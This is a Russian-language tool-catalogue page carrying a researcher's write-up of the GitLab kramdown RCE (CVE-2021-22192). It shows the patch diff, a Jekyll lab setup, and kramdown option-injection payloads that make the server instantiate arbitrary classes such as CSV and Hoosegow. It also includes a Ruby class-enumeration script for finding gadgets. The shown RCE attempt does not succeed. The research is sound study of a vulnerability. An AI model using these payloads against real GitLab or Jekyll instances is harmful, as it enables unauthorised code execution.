Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Инструменты/GitHubGitHub/petrusviet/gitlab-rce
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Репозиторий
123115 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анализ уязвимости RCE в GitLab (CVE-2021–22192)

I) Построение

  • Эта ошибка возникает в GitLab Community Edition (CE) и Enterprise Edition (EE) в версиях (>=13.2, <13.7.9), (>=13.8, <13.8.6) и (>=13.9, <13.9.4)
  • вы можете следовать инструкциям lyy289065406 для создания среды.

II) Анализ

Приступая к анализу этой ошибки, я получил лишь некоторую ценную информацию от lyy289065406, которая помогла мне понять суть этой ошибки. Кажется, ошибка в gem kramdown (<= 2.3.0), поэтому я начал изучать kramdown в первую очередь.

1. Kramdown

Мы можем проверить патч kramdown и увидеть разницу в функции formatter_class в модуле Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) было изменено на ::Rouge::Formatters.const_get(formatter, false)

Функция const_get наследуется от класса Object и может получать константы. Она даже может возвращать классы, объявленные ранее, если их можно найти. Разница лишь в добавлении параметра false. Добавление параметра false не позволяет const_get получать константы из родительских классов или модулей. Что ещё более важно: в функции self.call вызывается formatter_class, а затем new(opts). Это означает, что метод, полученный через const_get, будет вызывать конструктор для инициализации.

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Вау, вау. Так как же можно эксплуатировать???

Основываясь на Kramdown:Options, мы можем вызвать функцию Kramdown::Converter::SyntaxHighlighter::Rouge.call

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Кроме того, в модуле Kramdown:Options функция simple_hash_validator вызывает YAML.safe_load(val). Таким образом, мы также можем настроить YML-файл для передачи желаемой полезной нагрузки в Kramdown::Converter::SyntaxHighlighter::Rouge

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown используется Jekyll, GitLab Pages, GitHub Pages и Thredd Forum. Поэтому я решил сначала попробовать его с Jekyll.

2. Jekyll

Сначала нужно настроить Jekyll:

  • Установить Jekyll
gem install jekyll
  • Создать страницу Jekyll с именем jekyllTest
jekyll new jekyllTest
  • Отредактировать файл Gemfile.lock, установив версию kramdown <= 2.3.0
cd jekyllTest

Файл Gemfile.lock


...
kramdown (2.3.0)
...

  • установить страницу
 bundle install

Таким образом, мы завершили создание страницы Jekyll. Теперь мы можем вставить полезную нагрузку, чтобы проверить, действительно ли Kramdown::Converter::SyntaxHighlighter::Rouge.call вызывает какой-либо метод.

мы можем добавить в файл ./_config.yml

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Или использовать документ kramdown, добавив полезную нагрузку в ./_posts/*.markdown

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Здесь я использую второй способ =)))))

  • запускаем развертывание страницы Jekyll
bundle exec jekyll serve

возможно, вы получите ошибку "require': cannot load such file -- webrick (LoadError)", вам нужно добавить gem "webrick" в Gemfile

  • Мы видим сообщение об ошибке private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Это доказывает, что класс CSV был вызван.

Следующий шаг — определить, какой метод выбрать, чтобы вызов конструктора привел к RCE?

Согласно статье, анализирующей CVE-2020-10518, в которой используется ошибка в kramdown для RCE на Github. Я нацелился на класс Hoosegow:

  • В функции initialize класса Hoosegow вызывается load_inmate_methods
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • В load_inmate_methods мы видим, что вызывается require inmate_file
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • А inmate_file создается путем объединения строки @inmate_dir с 'inmate.rb'. Если мы сможем вызвать этот класс и изменить параметр inmate_dir на путь к нашему файлу полезной нагрузки, разве это не приведет к RCE?

  • Я запускаю скрипт в пути страницы Jekyll, чтобы проверить определенные методы:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • К сожалению, нет класса с именем Hoosegow, даже если я избегаю преждевременного завершения скрипта, установив условие ob.name == "Hoosegow"
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...

Оказывается, в моем class path не был объявлен класс Hoosegow. Я добавил gem "hoosegow" в Gemfile, и скрипт нашел этот класс. [Хе-хе-хе]

  • Затем попробуем вызвать Hoosegow через kramdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Бум. Ничего не произошло, класс Hoosegow не был вызван. =)))))))))
Скачать инструмент